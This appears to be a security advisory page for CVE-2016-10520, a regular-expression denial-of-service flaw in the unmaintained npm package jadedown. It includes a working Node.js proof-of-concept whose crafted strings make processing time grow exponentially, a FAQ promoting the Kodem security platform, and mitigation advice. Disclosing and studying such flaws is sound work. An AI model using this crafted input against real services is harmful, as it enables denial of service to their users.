CVE-2016-10520

Regular Expression Denial of Service in jadedown

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

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This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

1. What is CVE-2016-10520? CVE-2016-10520 is a low-severity uncontrolled resource consumption vulnerability in jadedown (npm), affecting versions <= 0.0.3. No fixed version is listed yet. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. Which versions of jadedown are affected by CVE-2016-10520? jadedown (npm) versions <= 0.0.3 is affected.
3. Is there a fix for CVE-2016-10520? No fixed version is listed for CVE-2016-10520 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2016-10520 exploitable, and should I be worried? Whether CVE-2016-10520 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2016-10520 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2016-10520? No fixed version is listed yet. In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.